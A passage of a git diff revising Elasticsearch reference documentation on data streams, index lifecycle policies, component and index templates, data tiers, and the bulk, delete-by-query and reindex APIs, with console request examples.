streams. If so, you should consider using +another name or pattern. -- -The following resolve index API request checks for any existing indices, index +The following resolve index API request checks for any existing indices, aliases, or data streams that start with `new-data-stream`. If not, the `new-data-stream*` index pattern can be used to create a new data stream. @@ -417,7 +417,7 @@ mappings and settings you'd like to apply to the new data stream's backing indices. + This index template must meet the -<>. It +<>. It should also contain your previously chosen name or index pattern in the `index_patterns` property. + @@ -428,10 +428,10 @@ new template by copying an existing one and modifying it as needed. For example, `my-data-stream-template` is an existing index template used by `my-data-stream`. -The following <> request creates a new -index template, `new-data-stream-template`. `new-data-stream-template` -uses `my-data-stream-template` as its basis, with the following -changes: +The following <> request +creates a new index template, `new-data-stream-template`. +`new-data-stream-template` uses `my-data-stream-template` as its basis, with the +following changes: * The index pattern in `index_patterns` matches any index or data stream starting with `new-data-stream`. @@ -471,7 +471,7 @@ PUT /_index_template/new-data-stream-template create the new data stream. The name of the data stream must match the index pattern defined in the new template's `index_patterns` property. + -We do not recommend <>. Later, you will reindex older data from an existing data stream into this new stream. This could result in one or more backing indices that contains a mix of new and old data. @@ -572,7 +572,8 @@ stream's oldest backing index. "generation": 2, "status": "GREEN", "template": "my-data-stream-template", - "hidden": false + "hidden": false, + "system": false } ] } diff --git a/docs/reference/data-streams/data-streams.asciidoc b/docs/reference/data-streams/data-streams.asciidoc index 406f00e0fbb25..4e124e9b8055a 100644 --- a/docs/reference/data-streams/data-streams.asciidoc +++ b/docs/reference/data-streams/data-streams.asciidoc @@ -27,7 +27,7 @@ backing indices. image::images/data-streams/data-streams-diagram.svg[align="center"] -Each data stream requires a matching <>. The +A data stream requires a matching <>. The template contains the mappings and settings used to configure the stream's backing indices. @@ -35,7 +35,7 @@ backing indices. Every document indexed to a data stream must contain a `@timestamp` field, mapped as a <> or <> field type. If the index template doesn't specify a mapping for the `@timestamp` field, {es} maps -`@timestamp` as a `date` field with default options. +`@timestamp` as a `date` field with default options. // end::timestamp-reqs[] The same index template can be used for multiple data streams. You cannot @@ -66,7 +66,6 @@ You also cannot perform operations on a write index that may hinder indexing, such as: * <> -* <> * <> * <> * <> @@ -84,7 +83,6 @@ roll over data streams when the write index reaches a specified age or size. If needed, you can also <> a data stream. - [discrete] [[data-streams-generation]] == Generation @@ -122,10 +120,9 @@ documents directly to a data stream. Instead, use the If needed, you can <> by submitting requests directly to the document's backing index. -TIP: If you frequently update or delete existing documents, use an -<> and <> -instead of a data stream. You can still use -<> to manage indices for the alias. +TIP: If you frequently update or delete existing time series data, use an index +alias with a write index instead of a data stream. See +<>. include::set-up-a-data-stream.asciidoc[] include::use-a-data-stream.asciidoc[] diff --git a/docs/reference/data-streams/promote-data-stream-api.asciidoc b/docs/reference/data-streams/promote-data-stream-api.asciidoc index 83b732a8dce4d..281e9b549abcb 100644 --- a/docs/reference/data-streams/promote-data-stream-api.asciidoc +++ b/docs/reference/data-streams/promote-data-stream-api.asciidoc @@ -10,7 +10,7 @@ a data stream that is replicated by CCR into a regular data stream. Via CCR Auto Following, a data stream from a remote cluster -can be replicated to the local cluster. These data streams +can be replicated to the local cluster. These data streams can't be rolled over in the local cluster. Only if the upstream data stream rolls over then these replicated data streams roll over as well. In the event that the remote cluster is no longer diff --git a/docs/reference/data-streams/set-up-a-data-stream.asciidoc b/docs/reference/data-streams/set-up-a-data-stream.asciidoc index 12441a5539fff..4e4510a4efb42 100644 --- a/docs/reference/data-streams/set-up-a-data-stream.asciidoc +++ b/docs/reference/data-streams/set-up-a-data-stream.asciidoc @@ -4,48 +4,74 @@ To set up a data stream, follow these steps: -. <>. -. <>. -. <>. -. <>. +* <> +* <> +* <> +* <> +* <> -You can also <>. +You can also <>. -[discrete] -[[configure-a-data-stream-ilm-policy]] -=== Optional: Configure an {ilm-init} lifecycle policy +IMPORTANT: If you use {fleet} or {agent}, skip this tutorial. {fleet} and +{agent} set up data streams for you. See {fleet}'s +{fleet-guide}/data-streams.html[data streams] documentation. -While optional, we recommend you configure an <> to automate the management of your data stream's backing -indices. +[discrete] +[[create-index-lifecycle-policy]] +=== Step 1. Create an index lifecycle policy -In {kib}, open the menu and go to *Stack Management > Index Lifecycle Policies*. -Click *Create policy*. +While optional, we recommend using {ilm-init} to automate the management of your +data stream's backing indices. {ilm-init} requires an index lifecycle policy. -[role="screenshot"] -image::images/ilm/create-policy.png[Create Policy page] +To create an index lifecycle policy in {kib}, open the main menu and go to +*Stack Management > Index Lifecycle Policies*. Click *Create policy*. -[%collapsible] -.API example -==== -Use the <> to configure a policy: +You can also use the <>. +// tag::ilm-policy-api-ex[] [source,console] ---- -PUT /_ilm/policy/my-data-stream-policy +PUT _ilm/policy/my-lifecycle-policy { "policy": { "phases": { "hot": { "actions": { "rollover": { - "max_size": "25GB" + "max_primary_shard_size": "50gb" } } }, - "delete": { + "warm": { "min_age": "30d", + "actions": { + "shrink": { + "number_of_shards": 1 + }, + "forcemerge": { + "max_num_segments": 1 + } + } + }, + "cold": { + "min_age": "60d", + "actions": { + "searchable_snapshot": { + "snapshot_repository": "found-snapshots" + } + } + }, + "frozen": { + "min_age": "90d", + "actions": { + "searchable_snapshot": { + "snapshot_repository": "found-snapshots" + } + } + }, + "delete": { + "min_age": "735d", "actions": { "delete": {} } @@ -54,151 +80,193 @@ PUT /_ilm/policy/my-data-stream-policy } } ---- -==== +// end::ilm-policy-api-ex[] [discrete] -[[create-a-data-stream-template]] -=== Create an index template +[[create-component-templates]] +=== Step 2. Create component templates -. In {kib}, open the menu and go to *Stack Management > Index Management*. -. In the *Index Templates* tab, click *Create template*. -. In the Create template wizard, use the *Data stream* toggle to indicate the -template is used for data streams. -. Use the wizard to finish defining your template. Specify: +// tag::ds-create-component-templates[] +A data stream requires a matching index template. In most cases, you compose +this index template using one or more component templates. You typically use +separate component templates for mappings and index settings. This lets you +reuse the component templates in multiple index templates. -* One or more index patterns that match the data stream's name. + -include::{es-repo-dir}/indices/create-data-stream.asciidoc[tag=data-stream-name] +When creating your component templates, include: -* Mappings and settings for the stream's backing indices. +* A <> or <> mapping for the `@timestamp` +field. If you don't specify a mapping, {es} maps `@timestamp` as a `date` field +with default options. -* A priority for the index template -+ -include::{es-repo-dir}/indices/index-templates.asciidoc[tag=built-in-index-templates] +* Your lifecycle policy in the `index.lifecycle.name` index setting. -[[elastic-data-stream-naming-scheme]] -.The Elastic data stream naming scheme -**** -The {agent} uses the Elastic data stream naming scheme to name its data streams. -To help you organize your data consistently and avoid naming collisions, we -recommend you also use the Elastic naming scheme for your other data streams. - -The naming scheme splits data into different data streams based on the following -components. Each component corresponds to a -<> field defined in the -{ecs-ref}[Elastic Common Schema (ECS)]. +[TIP] +==== +Use the {ecs-ref}[Elastic Common Schema (ECS)] when mapping your fields. ECS +fields integrate with several {stack} features by default. + +If you're unsure how to map your fields, use <> to extract fields from <> at search time. For example, you can index a log message to a +`wildcard` field and later extract IP addresses and other data from this field +during a search. +==== -`type`:: -Generic type describing the data, such as `logs`, `metrics`, or `synthetics`. -Corresponds to the `data_stream.type` field. +To create a component template in {kib}, open the main menu and go to *Stack +Management > Index Management*. In the *Index Templates* view, click *Create +component template*. -`dataset`:: -Describes the ingested data and its structure. Corresponds to the -`data_stream.dataset` field. Defaults to `generic`. +You can also use the <>. -`namespace`:: -User-configurable arbitrary grouping. Corresponds to the `data_stream.dataset` -field. Defaults to `default`. +[source,console] +---- +# Creates a component template for mappings +PUT _component_template/my-mappings +{ + "template": { + "mappings": { + "properties": { + "@timestamp": { + "type": "date", + "format": "date_optional_time||epoch_millis" + }, + "message": { + "type": "wildcard" + } + } + } + }, + "_meta": { + "description": "Mappings for @timestamp and message fields", + "my-custom-meta-field": "More arbitrary metadata" + } +} -The naming scheme separates these components with a `-` character: +# Creates a component template for index settings +PUT _component_template/my-settings +{ + "template": { + "settings": { + "index.lifecycle.name": "my-lifecycle-policy" + } + }, + "_meta": { + "description": "Settings for ILM", + "my-custom-meta-field": "More arbitrary metadata" + } +} +---- +// TEST[continued] +// end::ds-create-component-templates[] -``` --- -``` +[discrete] +[[create-index-template]] +=== Step 3. Create an index template -For example, the {agent} uses the `logs-nginx.access-production` data -stream to store data with a type of `logs`, a dataset of `nginx.access`, and a -namespace of `production`. If you use the {agent} to ingest a log file, it -stores the data in the `logs-generic-default` data stream. +// tag::ds-create-index-template[] +Use your component templates to create an index template. Specify: -For more information about the naming scheme and its benefits, see our -https://www.elastic.co/blog/an-introduction-to-the-elastic-data-stream-naming-scheme[An -introduction to the Elastic data stream naming scheme] blog post. -**** +* One or more index patterns that match the data stream's name. We recommend +using our {fleet-guide}/data-streams.html#data-streams-naming-scheme[data stream +naming scheme]. -include::{es-repo-dir}/data-streams/data-streams.asciidoc[tag=timestamp-reqs] +* That the template is data stream enabled. -If using {ilm-init}, specify your lifecycle policy in the `index.lifecycle.name` -setting. +* Any component templates that contain your mappings and index settings. -TIP: Carefully consider your template's mappings and settings. Later changes may -require reindexing. See <>. +* A priority higher than `200` to avoid collisions with built-in templates. +See <>. -[role="screenshot"] -image::images/data-streams/create-index-template.png[Create template page] +To create an index template in {kib}, open the main menu and go to *Stack +Management > Index Management*. In the *Index Templates* view, click *Create +template*. -[%collapsible] -.API example -==== -Use the <> to create an index -template. The template must include a `data_stream` object, indicating -it's used for data streams. +You can also use the <>. +Include the `data_stream` object to enable data streams. [source,console] ---- -PUT /_index_template/my-data-stream-template +PUT _index_template/my-index-template { - "index_patterns": [ "my-data-stream*" ], + "index_patterns": ["my-data-stream*"], "data_stream": { }, + "composed_of": [ "my-mappings", "my-settings" ], "priority": 500, - "template": { - "settings": { - "index.lifecycle.name": "my-data-stream-policy" - } + "_meta": { + "description": "Template for my time series data", + "my-custom-meta-field": "More arbitrary metadata" } } ---- // TEST[continued] -==== +// end::ds-create-index-template[] [discrete] -[[create-a-data-stream]] -=== Create the data stream +[[create-data-stream]] +=== Step 4. Create the data stream -To automatically create the data stream, submit an -<> to the stream. The stream's -name must match one of your template's index patterns. +// tag::ds-create-data-stream[] +<> add documents to a data +stream. These requests must use an `op_type` of `create`. Documents must include +a `@timestamp` field. + +To automatically create your data stream, submit an indexing request that +targets the stream's name. This name must match one of your index template's +index patterns. [source,console] ---- -POST /my-data-stream/_doc/ +PUT my-data-stream/_bulk +{ "create":{ } } +{ "@timestamp": "2099-05-06T16:21:15.000Z", "message": "192.0.2.42 - - [06/May/2099:16:21:15 +0000] \"GET /images/bg.jpg HTTP/1.0\" 200 24736" } +{ "create":{ } } +{ "@timestamp": "2099-05-06T16:25:42.000Z", "message": "192.0.2.255 - - [06/May/2099:16:25:42 +0000] \"GET /favicon.ico HTTP/1.0\" 200 3638" } + +POST my-data-stream/_doc { - "@timestamp": "2099-03-07T11:04:05.000Z", - "user": { - "id": "vlb44hny" - }, - "message": "Login attempt failed" + "@timestamp": "2099-05-06T16:21:15.000Z", + "message": "192.0.2.42 - - [06/May/2099:16:21:15 +0000] \"GET /images/bg.jpg HTTP/1.0\" 200 24736" } ---- // TEST[continued] +// end::ds-create-data-stream[] -You can also use the <> to -manually create the data stream. The stream's name must match one of your -template's index patterns. +You can also manually create the stream using the +<>. The stream's name must +still match one of your template's index patterns. [source,console] ---- -PUT /_data_stream/my-data-stream +PUT _data_stream/my-data-stream ---- // TEST[continued] // TEST[s/my-data-stream/my-data-stream-alt/] -When you create a data stream, {es} automatically creates a backing index for -the stream. This index also acts as the stream's first write index. +[discrete] +[[secure-data-stream]] +=== Step 5. Secure the data stream + +include::{xes-repo-dir}/security/authorization/alias-privileges.asciidoc[tag=data-stream-security] + +For an example, see <>. [discrete] -[[convert-an-index-alias-to-a-data-stream]] +[[convert-index-alias-to-data-stream]] === Convert an index alias to a data stream -Prior to {es} 7.9, you would typically use an <> -with a write index to manage time series data. Data streams replace most of -this functionality and usually require less maintenance. +// tag::time-series-alias-tip[] +Prior to {es} 7.9, you'd typically use an +<> +to manage time series data. Data streams replace this functionality, require +less maintenance, and automatically integrate with <>. +// end::time-series-alias-tip[] -To convert an index alias with a write index to a new data stream with the same +To convert an index alias with a write index to a data stream with the same name, use the <>. During conversion, the alias’s indices become hidden backing indices for the -stream. The alias’s write index becomes the stream’s write index. Note the data -stream still requires a matching <>. +stream. The alias’s write index becomes the stream’s write index. The stream +still requires a matching index template with data stream enabled. //// [source,console] @@ -215,7 +283,7 @@ POST idx2/_doc/ "@timestamp" : "2099-01-01" } -POST /_aliases +POST _aliases { "actions": [ { @@ -234,7 +302,7 @@ POST /_aliases ] } -PUT /_index_template/template +PUT _index_template/template { "index_patterns": ["my-time-series-data"], "data_stream": { } @@ -245,79 +313,58 @@ PUT /_index_template/template [source,console] ---- -POST /_data_stream/_migrate/my-time-series-data +POST _data_stream/_migrate/my-time-series-data ---- // TEST[continued] [discrete] -[[secure-a-data-stream]] -=== Secure the data stream - -To control access to the data stream and its -data, use <>. - -[discrete] -[[get-info-about-a-data-stream]] +[[get-info-about-data-stream]] === Get information about a data stream -In {kib}, open the menu and go to *Stack Management > Index Management*. In the -*Data Streams* tab, click the data stream's name. - -[role="screenshot"] -image::images/data-streams/data-streams-list.png[Data Streams tab] +To get information about a data stream in {kib}, open the main menu and go to +*Stack Management > Index Management*. In the *Data Streams* view, click the +data stream's name. -[%collapsible] -.API example -==== -Use the <> to retrieve information -about one or more data streams: +You can also use the <>. //// [source,console] ---- -POST /my-data-stream/_rollover/ +POST my-data-stream/_rollover/ ---- // TEST[continued] //// [source,console] ---- -GET /_data_stream/my-data-stream +GET _data_stream/my-data-stream ---- // TEST[continued] -==== [discrete] -[[delete-a-data-stream]] +[[delete-data-stream]] === Delete a data stream -To delete a data stream and its backing indices, open the {kib} menu and go to -*Stack Management > Index Management*. In the *Data Streams* tab, click the -trash icon. The trash icon only displays if you have the `delete_index` +To delete a data stream and its backing indices in {kib}, open the main menu and +go to *Stack Management > Index Management*. In the *Data Streams* view, click +the trash icon. The icon only displays if you have the `delete_index` <> for the data stream. -[role="screenshot"] -image::images/data-streams/data-streams-no-delete.png[Data Streams tab] - -[%collapsible] -.API example -==== -Use the <> to delete a data -stream and its backing indices: +You can also use the <>. [source,console] ---- -DELETE /_data_stream/my-data-stream +DELETE _data_stream/my-data-stream ---- // TEST[continued] -==== //// [source,console] ---- -DELETE /_data_stream/* -DELETE /_index_template/* -DELETE /_ilm/policy/my-data-stream-policy +DELETE _data_stream/* +DELETE _index_template/* +DELETE _component_template/my-* +DELETE _ilm/policy/my-lifecycle-policy ---- // TEST[continued] //// diff --git a/docs/reference/data-streams/use-a-data-stream.asciidoc b/docs/reference/data-streams/use-a-data-stream.asciidoc index 1124c73135542..eb75fb19156b6 100644 --- a/docs/reference/data-streams/use-a-data-stream.asciidoc +++ b/docs/reference/data-streams/use-a-data-stream.asciidoc @@ -154,8 +154,8 @@ POST /my-data-stream/_open/ [[reindex-with-a-data-stream]] === Reindex with a data stream -Use the <> to copy documents from an -existing index, index alias, or data stream to a data stream. Because data streams are +Use the <> to copy documents from an existing index, +alias, or data stream to a data stream. Because data streams are <>, a reindex into a data stream must use an `op_type` of `create`. A reindex cannot update existing documents in a data stream. diff --git a/docs/reference/datatiers.asciidoc b/docs/reference/datatiers.asciidoc index 8daa3538ab578..3611cc10a850c 100644 --- a/docs/reference/datatiers.asciidoc +++ b/docs/reference/datatiers.asciidoc @@ -11,7 +11,7 @@ and hold your most recent, most-frequently-accessed data. * <> nodes hold time series data that is accessed less-frequently and rarely needs to be updated. * <> nodes hold time series data that is accessed infrequently and not normally updated. -* <> nodes hold time series data that is accessed rarely and never updated. +* <> nodes hold time series data that is accessed rarely and never updated, kept in searchable snapshots. When you index documents directly to a specific index, they remain on content tier nodes indefinitely. @@ -78,19 +78,25 @@ Once data is no longer being updated, it can move from the warm tier to the cold stays while being queried infrequently. The cold tier is still a responsive query tier, but data in the cold tier is not normally updated. As data transitions into the cold tier it can be compressed and shrunken. -For resiliency, indices in the cold tier can rely on -<>, eliminating the need for replicas. +For resiliency, the cold tier can use <> of +<>, eliminating the need for +replicas. [discrete] [[frozen-tier]] === Frozen tier -Once data is no longer being queried, or being queried rarely, it may move from the cold tier -to the frozen tier where it stays for the rest of its life. -The frozen tier is a less responsive query tier than the cold tier, and data in the frozen tier is -not normally updated. As data transitions into the frozen tier it can be compressed and shrunken. -For resiliency, indices in the frozen tier can rely on <>, eliminating the need for replicas or even a local copy. +Once data is no longer being queried, or being queried rarely, it may move from +the cold tier to the frozen tier where it stays for the rest of its life. + +The frozen tier uses <> to store +and load data from a snapshot repository. This reduces local storage and +operating costs while still letting you search frozen data. Because {es} must +sometimes fetch frozen data from the snapshot repository, searches on the frozen +tier are typically slower than on the cold tier. + +NOTE: We recommend you use <> in the frozen +tier. [discrete] [[data-tier-allocation]] diff --git a/docs/reference/docs.asciidoc b/docs/reference/docs.asciidoc index a860bfc42a0da..ff2d823410a6d 100644 --- a/docs/reference/docs.asciidoc +++ b/docs/reference/docs.asciidoc @@ -1,8 +1,9 @@ [[docs]] == Document APIs -This section starts with a short introduction to Elasticsearch's <>, followed by a -detailed description of the following CRUD APIs: +This section starts with a short introduction to {es}'s <>, followed by a detailed description of the following CRUD +APIs: .Single document APIs * <> @@ -17,9 +18,6 @@ detailed description of the following CRUD APIs: * <> * <> -NOTE: All CRUD APIs are single-index APIs. The `index` parameter accepts a single -index name, or an `alias` which points to a single index. - include::docs/data-replication.asciidoc[] include::docs/index_.asciidoc[] diff --git a/docs/reference/docs/bulk.asciidoc b/docs/reference/docs/bulk.asciidoc index 9c3b4101576eb..c967c0c573e49 100644 --- a/docs/reference/docs/bulk.asciidoc +++ b/docs/reference/docs/bulk.asciidoc @@ -238,8 +238,7 @@ include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=pipeline] include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=refresh] `require_alias`:: -(Optional, Boolean) -If `true`, the request's actions must target an <>. +(Optional, Boolean) If `true`, the request's actions must target an index alias. Defaults to `false`. include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=routing] @@ -283,6 +282,8 @@ include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=bulk-index] include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=bulk-id] include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=bulk-require-alias] + +include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=bulk-dynamic-templates] -- `delete`:: @@ -311,6 +312,8 @@ include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=bulk-index] include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=bulk-id] include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=bulk-require-alias] + +include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=bulk-dynamic-templates] -- `update`:: @@ -738,3 +741,39 @@ The API returns the following result. } ---- // TESTRESPONSE[s/"index_uuid": "aAsFqTI0Tc2W0LCWgPNrOA"/"index_uuid": $body.$_path/] + + +[discrete] +[[bulk-dynamic-templates]] +===== Example with dynamic templates parameter + +The below example creates a dynamic template, then performs a bulk request +consisting of index/create requests with the `dynamic_templates` parameter. + +[source,console] +---- +PUT my-index/ +{ + "mappings": { + "dynamic_templates": [ + { + "geo_point": { + "mapping": { + "type" : "geo_point" + } + } + } + ] + } +} + +POST /_bulk +{ "index" : { "_index" : "my_index", "_id" : "1", "dynamic_templates": {"work_location": "geo_point"}} } +{ "field" : "value1", "work_location": "41.12,-71.34", "raw_location": "41.12,-71.34"} +{ "create" : { "_index" : "my_index", "_id" : "2", "dynamic_templates": {"home_location": "geo_point"}} } +{ "field" : "value2", "home_location": "41.12,-71.34"} +---- + +The bulk request creates two new fields `work_location` and `home_location` with type `geo_point` according +to the `dynamic_templates` parameter; however, the `raw_location` field is created using default dynamic mapping +rules, as a `text` field in that case since it is supplied as a string in the JSON document. diff --git a/docs/reference/docs/data-replication.asciidoc b/docs/reference/docs/data-replication.asciidoc index 57902fbc24fc5..d9cc3c6ab0224 100644 --- a/docs/reference/docs/data-replication.asciidoc +++ b/docs/reference/docs/data-replication.asciidoc @@ -42,7 +42,7 @@ The primary shard follows this basic flow: . Execute the operation locally i.e. indexing or deleting the relevant document. This will also validate the content of fields and reject if needed (Example: a keyword value is too long for indexing in Lucene). . Forward the operation to each replica in the current in-sync copies set. If there are multiple replicas, this is done in parallel. -. Once all replicas have successfully performed the operation and responded to the primary, the primary acknowledges the successful +. Once all in-sync replicas have successfully performed the operation and responded to the primary, the primary acknowledges the successful completion of the request to the client. Each in-sync replica copy performs the indexing operation locally so that it has a copy. This stage of indexing is the @@ -89,7 +89,7 @@ This is a valid scenario that can happen due to index configuration or simply because all the replicas have failed. In that case the primary is processing operations without any external validation, which may seem problematic. On the other hand, the primary cannot fail other shards on its own but request the master to do so on its behalf. This means that the master knows that the primary is the only single good copy. We are therefore guaranteed -that the master will not promote any other (out-of-date) shard copy to be a new primary and that any operation indexed +that the master will not promote any other (out-of-date) shard copy to be a new primary and that any operation indexed into the primary will not be lost. Of course, since at that point we are running with only single copy of the data, physical hardware issues can cause data loss. See <> for some mitigation options. ************ diff --git a/docs/reference/docs/delete-by-query.asciidoc b/docs/reference/docs/delete-by-query.asciidoc index a8dcd4bb3201e..689f89b814dac 100644 --- a/docs/reference/docs/delete-by-query.asciidoc +++ b/docs/reference/docs/delete-by-query.asciidoc @@ -54,7 +54,7 @@ POST /my-index-000001/_delete_by_query * If the {es} {security-features} are enabled, you must have the following <> for the target data stream, index, -or index alias: +or alias: ** `read` ** `delete` or `write` @@ -84,7 +84,10 @@ and all failed requests are returned in the response. Any delete requests that completed successfully still stick, they are not rolled back. You can opt to count version conflicts instead of halting and returning by -setting `conflicts` to `proceed`. +setting `conflicts` to `proceed`. Note that if you opt to count version conflicts +the operation could attempt to delete more documents from the source +than `max_docs` until it has successfully deleted `max_docs` documents, or it has gone through +every document in the source query. ===== Refreshing shards @@ -114,6 +117,7 @@ shards to become available. Both work exactly the way they work in the specify the `scroll` parameter to control how long it keeps the search context alive, for example `?scroll=10m`. The default is 5 minutes. +[[docs-delete-by-query-throttle]] ===== Throttling delete requests To control the rate at which delete by query issues batches of delete operations, @@ -124,7 +128,7 @@ to disable throttling. Throttling uses a wait time between batches so that the internal scroll requests can be given a timeout that takes the request padding into account. The padding time is the difference between the batch size divided by the -`requests_per_second` and the time spent writing. By default the batch size is +`requests_per_second` and the time spent writing. By default the batch size is `1000`, so if `requests_per_second` is set to `500`: [source,txt] @@ -164,12 +168,9 @@ documents being reindexed and cluster resources. ==== {api-path-parms-title} ``:: -(Optional, string) -Comma-separated list of data streams, indices, and index aliases to search. -Wildcard (`*`) expressions are supported. -+ -To search all data streams or indices in a cluster, omit this parameter or use -`_all` or `*`. +(Optional, string) Comma-separated list of data streams, indices, and aliases to +search. Supports wildcards (`*`). To search all data streams or indices, omit +this parameter or use `* or `_all`. [[docs-delete-by-query-api-query-params]] ==== {api-query-parms-title} diff --git a/docs/reference/docs/delete.asciidoc b/docs/reference/docs/delete.asciidoc index 29822848ff8b4..1d8ff699271b2 100644 --- a/docs/reference/docs/delete.asciidoc +++ b/docs/reference/docs/delete.asciidoc @@ -156,8 +156,6 @@ include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=if_seq_no] include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=if_primary_term] -include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=pipeline] - include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=refresh] include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=routing] diff --git a/docs/reference/docs/get.asciidoc b/docs/reference/docs/get.asciidoc index a7925ce614bd9..e0aea7cfd6895 100644 --- a/docs/reference/docs/get.asciidoc +++ b/docs/reference/docs/get.asciidoc @@ -378,7 +378,7 @@ The API returns the following result: // TESTRESPONSE[s/"_seq_no" : \d+/"_seq_no" : $body._seq_no/ s/"_primary_term" : 1/"_primary_term" : $body._primary_term/] Field values fetched from the document itself are always returned as an array. -Since the `counter` field is not stored, the get request ignores it. +Since the `counter` field is not stored, the get request ignores it. You can also retrieve metadata fields like the `_routing` field: diff --git a/docs/reference/docs/index_.asciidoc b/docs/reference/docs/index_.asciidoc index 907c348b4eed8..0a064e1d6b2e4 100644 --- a/docs/reference/docs/index_.asciidoc +++ b/docs/reference/docs/index_.asciidoc @@ -58,7 +58,7 @@ stream enabled. See <>. (Required, string) Name of the data stream or index to target. + If the target doesn't exist and matches the name or wildcard (`*`) pattern of an -<>, this request creates the data stream. See <>. + @@ -195,7 +195,7 @@ exist. To update an existing document, you must use the `_doc` resource. ===== Automatically create data streams and indices If request's target doesn't exist and matches an -<>, the index operation automatically creates the data stream. See <>. @@ -203,12 +203,13 @@ If the target doesn't exist and doesn't match a data stream template, the operation automatically creates the index and applies any matching <>. -include::{es-repo-dir}/indices/index-templates.asciidoc[tag=built-in-index-templates] +NOTE: {es} includes several built-in index templates. To avoid naming collisions +with these templates, see <>. If no mapping exists, the index operation creates a dynamic mapping. By default, new fields and objects are automatically added to the mapping if needed. For more information about field -mapping, see <> and the <> API. +mapping, see <> and the <> API. Automatic index creation is controlled by the `action.auto_create_index` setting. This setting defaults to `true`, which allows any index to be created @@ -216,7 +217,7 @@ automatically. You can modify this setting to explicitly allow or block automatic creation of indices that match specified patterns, or set it to `false` to disable automatic index creation entirely. Specify a comma-separated list of patterns you want to allow, or prefix each pattern with -`+` or `-` to indicate whether it should be allowed or blocked. When a list is +`+` or `-` to indicate whether it should be allowed or blocked. When a list is specified, the default behaviour is to disallow. IMPORTANT: The `action.auto_create_index` setting only affects the automatic @@ -518,9 +519,6 @@ In addition to the `external` version type, Elasticsearch also supports other types for specific use cases: [[_version_types]] -`internal`:: Only index the document if the given version is identical to the version -of the stored document. - `external` or `external_gt`:: Only index the document if the given version is strictly higher than the version of the stored document *or* if there is no existing document. The given version will be used as the new version and will be stored with the new document. The supplied diff --git a/docs/reference/docs/multi-get.asciidoc b/docs/reference/docs/multi-get.asciidoc index 71c1a0dc2962d..7189d74352207 100644 --- a/docs/reference/docs/multi-get.asciidoc +++ b/docs/reference/docs/multi-get.asciidoc @@ -208,7 +208,7 @@ You can include the `stored_fields` query parameter in the request URI to specif to use when there are no per-document instructions. For example, the following request retrieves `field1` and `field2` from document 1, and -`field3` and `field4`from document 2: +`field3` and `field4` from document 2: [source,console] -------------------------------------------------- diff --git a/docs/reference/docs/reindex.asciidoc b/docs/reference/docs/reindex.asciidoc index cd27a0d89c4a2..6ad39728975f1 100644 --- a/docs/reference/docs/reindex.asciidoc +++ b/docs/reference/docs/reindex.asciidoc @@ -4,11 +4,11 @@ Reindex ++++ -Copies documents from a _source_ to a _destination_. +Copies documents from a source to a destination. -The source and destination can be any pre-existing index, index alias, or -<>. However, the source and destination must be -different. For example, you cannot reindex a data stream into itself. +The source can be any existing index, alias, or data stream. The destination +must differ from the source. For example, you cannot reindex a data stream into +itself. [IMPORTANT] ================================================= @@ -75,18 +75,18 @@ POST _reindex security privileges: ** The `read` <> for the source data -stream, index, or index alias. +stream, index, or alias. ** The `write` index privilege for the destination data stream, index, or index alias. ** To automatically create a data stream or index with an reindex API request, you must have the `auto_configure`, `create_index`, or `manage` index -privilege for the destination data stream, index, or index alias. +privilege for the destination data stream, index, or alias. ** If reindexing from a remote cluster, the `source.remote.user` must have the `monitor` <> and the `read` index -privilege for the source data stream, index, or index alias. +privilege for the source data stream, index, or alias. * If reindexing from a remote cluster, you must explicitly allow the remote host in the `reindex.remote.whitelist` setting of `elasticsearch.yml`. See @@ -130,6 +130,9 @@ By default, version conflicts abort the `_reindex` process. To continue reindexing if there are conflicts, set the `"conflicts"` request body parameter to `proceed`. In this case, the response includes a count of the version conflicts that were encountered. Note that the handling of other error types is unaffected by the `"conflicts"` parameter. +Additionally, if you opt to count version conflicts the operation could attempt to reindex more documents +from the source than `max_docs` until it has successfully indexed `max_docs` documents into the target, or it has gone +through every document in the source query. [[docs-reindex-task-api]] ===== Running reindex asynchronously @@ -301,7 +304,7 @@ POST _reindex?slices=5&refresh ---------------------------------------------------------------- // TEST[setup:my_index_big] -You can also this verify works by: +You can also verify this works by: [source,console] ---------------------------------------------------------------- @@ -336,7 +339,7 @@ section above, creating sub-requests which means it has some quirks: sub-requests are "child" tasks of the task for the request with `slices`. * Fetching the status of the task for the request with `slices` only contains the status of completed slices. -* These sub-requests are individually addressable for things like cancelation +* These sub-requests are individually addressable for things like cancellation and rethrottling. * Rethrottling the request with `slices` will rethrottle the unfinished sub-request proportionally. @@ -497,17 +500,20 @@ include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=max_docs] [[docs-reindex-api-request-body]] ==== {api-request-body-title} +[[conflicts]] `conflicts`:: (Optional, enum) Set to `proceed` to continue reindexing even if there are conflicts. Defaults to `abort`. `source`:: `index`::: -(Required, string) The name of the data stream, index, or index alias you are copying _from_. -Also accepts a comma-separated list to reindex from multiple sources. +(Required, string) The name of the data stream, index, or alias you are copying +_from_. Also accepts a comma-separated list to reindex from multiple sources. `max_docs`::: -(Optional, integer) The maximum number of documents to reindex. +(Optional, integer) The maximum number of documents to reindex. If <> is equal to +`proceed`, reindex could attempt to reindex more documents from the source than `max_docs` until it has successfully +indexed `max_docs` documents into the target, or it has gone through every document in the source query. `query`::: (Optional, <>) Specifies the documents to reindex using the Query DSL. diff --git a/docs/reference/docs/termvectors.asciidoc b/docs/reference/docs/termvectors.asciidoc index 649b91a9c86fa..8fa6392e08d5b 100644 --- a/docs/reference/docs/termvectors.asciidoc +++ b/docs/reference/docs/termvectors.asciidoc @@ -323,7 +323,7 @@ GET /my-index-000001/_termvectors/1 ===== Artificial documents Term vectors can also be generated for artificial documents, -that is for documents not present in the index. For example, the following request would +that is for documents not present in the index. For example, the following request would return the same results as in example 1. The mapping used is determined by the 